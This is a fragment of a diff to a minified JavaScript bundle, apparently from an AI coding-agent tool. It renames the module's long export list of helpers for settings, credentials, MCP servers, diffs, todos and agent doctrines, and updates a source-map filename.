deleteTurnSafely as n, pruneTodosByRun as ni, marginTopFor as nn, bootProfileEnabled as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, ACTIONS_WITH_CARE_DOCTRINE as oi, sumRunCosts as on, checkForUpdate as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, PLAN_MODE_DOCTRINE_NO_PROMPTS as pi, buildContextualDiff as pn, resolvePlatformPackage as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, uniqueFilesFromReferences as qn, TODOS_METADATA_KEY as qr, createStateStore as qt, truncateTurnsAt as r, selectActiveTodos as ri, saveState as rn, bootTick as rr, getMcpAuthStatus as rt, displayNameFor as s, COMMUNICATION_DOCTRINE as si, titleFromTurns as sn, compareSemver as sr, InteractionsProvider as st, countNeighbors as t, pickActiveRunId as ti, loadState as tn, tryOpenBrowser as tr, useMcpAuthDispatch as tt, useColors as u, INTERACTION_GUIDANCE as ui, turnSelectionOwnership as un, parseSemver as ur, createInteractionTools as ut, useStreamBuffer as v, envSection as vi, filetypeFromPath as vn, credentialsPath as vr, hintsLength as vt, writeSessionExport as w, maskToOutcomeKinds as wn, BUILTIN_PROVIDERS as wr, DEFAULT_SETTINGS as wt, discoverProjectSkills as x, summarizeEditPayload as xn, removeProviderCredential as xr, generateSessionTitle as xt, buildSkillsConfig as y, previewEditPayload as yn, readCredentials as yr, truncateTrailing as yt, fetchOAuthRedirect as z, parseBindingSpec as zn, DEFAULT_AGENT_ID as zr, createDiscoverySlot as zt };
+export { patchMcpCredential as $, collectReferences as $n, TODO_STATUS_GLYPHS as $r, isEditErrorResult as $t, getSafelist as A, resolveApprovalForPayload as An, anthropicDescriptor as Ar, SettingsProvider as At, oauthUsesManualCodePaste as B, keybindingsPath as Bn, piIdOf as Br, CATPPUCCIN_MACCHIATO as Bt, resolveSessionExportTarget as C, splitLines as Cn, readCredentials as Cr, buildHints as Ct, useSafeModeQueue as D, maskToOutcomeKinds as Dn, writeCredentials as Dr, DEFAULT_SETTINGS as Dt, useSafeModeActions as E, buildEditOutcomesAnnotation as En, setProviderCredential as Er, useEnabledToggleSet as Et, suggestSafelistEntry as F, DEFAULT_KEYBINDINGS as Fn, getModelInfo as Fr, resolveChipColor as Ft, indexOfEntry as G, stripJsonComments as Gn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Gr, useDiscoveryOptional as Gt, supportsOAuth as H, mergeKeybindings as Hn, BUILTIN_AGENTS as Hr, createDiscoverySlot as Ht, writeProjects as I, KEYBINDING_DEFS as In, modelSupportsReasoning as Ir, resolveTheme as It, discoverProjectMcps as J, uniqueSkillNamesFromReferences as Jn, resolveAgentId as Jr, resolveConfig as Jt, buildMcpServers as K, SKILLS_TRIGGER as Kn, PLAN_AGENT as Kr, ConfigProvider as Kt, splitPromptSegments as L, KEYBINDING_DEF_BY_ACTION as Ln, modelsForDescriptor as Lr, VAPORWAVE_THEME as Lt, matchesSafelistEntry as M, stripEditOutcomesAnnotation as Mn, credKeyOf as Mr, useSettings as Mt, projectsFilePath as N, summarizeOutcomes as Nn, effectiveContextWindow as Nr, BUILTIN_THEMES as Nt, IMPLICITLY_SAFE_TOOLS as O, mergeApprovalAndBodyOutcomes as On, BUILTIN_PROVIDERS as Or, SETTINGS_CHOICES as Ot, readProjects as P, findGitRoot$1 as Pn, getContextWindow as Pr, DEFAULT_THEME as Pt, mcpCredentialsPath as Q, applyInsert as Qn, TODOWRITE_TOOL as Qr, eventsFromTurns as Qt, formatPathForCwd as R, ensureKeybindingsFile as Rn, openaiDescriptor as Rr, CATPPUCCIN_FRAPPE as Rt, renderSession as S, envSection as Si, previewEditPayload as Sn, credentialsPath as Sr, generateSessionTitle as St, SafeModeProvider as T, tokenize as Tn, removeProviderCredential as Tr, listProjectFiles as Tt, buildModelCatalog as U, parseBindingSpec as Un, DEFAULT_AGENT_ID as Ur, DiscoveryProvider as Ut, runOAuthLogin as V, matchesBinding as Vn, BUILD_AGENT as Vr, CATPPUCCIN_MOCHA as Vt, filterModelCatalog as W, readKeybindings as Wn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Wr, useDiscovery as Wt, projectUserPaths as X, createFilesCompletionProvider as Xn, TODOREAD_TOOL as Xr, createStateStore as Xt, parseMcpsFile as Y, FILES_TRIGGER as Yn, singleAgentRegistry as Yr, EDIT_TOOL_NAMES as Yt, createFileMcpCredentialStore as Z, uniqueFilesFromReferences as Zn, TODOS_METADATA_KEY as Zr, deriveSessionTitle as Zt, turnContextSize as _, PLAN_MODE_DOCTRINE_NO_PROMPTS as _i, buildUnifiedDiff as _n, resolvePlatformPackage as _r, EMPTY_HINTS as _t, computeTurnAnchors as a, pickActiveRunId as ai, marginTopFor as an, tryOpenBrowser as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, buildBuildSystem as bi, extractEditPayload as bn, detectAuth as br, truncateTrailing as bt, formatToolCall as c, setTodosForRun as ci, stripSpawnTokensLine as cn, buildUpdateHint as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, COMMUNICATION_DOCTRINE as di, toolCallPreview as dn, compareSemver as dr, isInteractionTool as dt, TODO_WRITE_COUNTS_METADATA_KEY as ei, isTurnHighlighted as en, findActiveTrigger as er, McpAuthProvider as et, useSurfaces as f, DOING_TASKS_DOCTRINE as fi, toolResultText as fn, detectLibc as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, PLAN_MODE_DOCTRINE as gi, buildContextualDiff as gn, performSelfUpdate as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, INTERACTION_GUIDANCE_NO_PROMPTS as hi, applyEditPayload as hn, performInPlaceSelfUpdate as hr, useInteractionsActions as ht, turnAsText as i, isTodoTool as ii, loadState as in, buildLinearRamp as ir, reduceMcpAuth as it, isOnSafelist as j, rewriteMultiEditHeader as jn, cerebrasDescriptor as jr, clampFps as jt, addToSafelist as k, parseEditOutcomesFromResult as kn, OUTPUT_RESERVE_TOKENS as kr, SETTINGS_TOGGLES as kt, ThemeProvider as l, useActiveTodos as li, sumRunCosts as ln, useUpdateCheck as lr, buildResumedToolResultsTurn as lt, useTheme as m, INTERACTION_GUIDANCE as mi, updateToolEventOutcomes as mn, parseSemver as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, getArchivedTodosForRun as ni, lastContextSizeFromTurns as nn, useCompletion as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, pruneTodosByRun as oi, saveState as on, bootProfileEnabled as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, IDENTITY_PREFIX as pi, turnSelectionOwnership as pn, detectPackageManager as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, createSkillsCompletionProvider as qn, accentColor as qr, useConfig as qt, truncateTurnsAt as r, getTodosForRun as ri, listSessionMeta as rn, blendHsl as rr, getMcpAuthStatus as rt, displayNameFor as s, selectActiveTodos as si, selectableTurnIds as sn, bootTick as sr, InteractionsProvider as st, countNeighbors as t, createTodoTools as ti, isVisible as tn, mergeReferences as tr, useMcpAuthDispatch as tt, useColors as u, ACTIONS_WITH_CARE_DOCTRINE as ui, titleFromTurns as un, checkForUpdate as ur, createInteractionTools as ut, useStreamBuffer as v, SUBAGENT_GUIDANCE as vi, computeInlineDiff as vn, AUTO_COMPACT_MIN_GROWTH_FRACTION as vr, clipHintsToWidth as vt, writeSessionExport as w, summarizeEditPayload as wn, readProviderCredential as wr, shortChord as wt, discoverProjectSkills as x, buildPlanSystem as xi, filetypeFromPath as xn, applyApiKeyEnv as xr, cleanTitle as xt, buildSkillsConfig as y, TOKEN_DISCIPLINE_DOCTRINE as yi, computeLineDiff as yn, shouldAutoCompact as yr, hintsLength as yt, fetchOAuthRedirect as z, formatBindingForDisplay as zn, openrouterDescriptor as zr, CATPPUCCIN_LATTE as zt };
 
-//# sourceMappingURL=turn-operations-fhinWY4m.js.map
+//# sourceMappingURL=turn-operations-CH7rnULP.js.map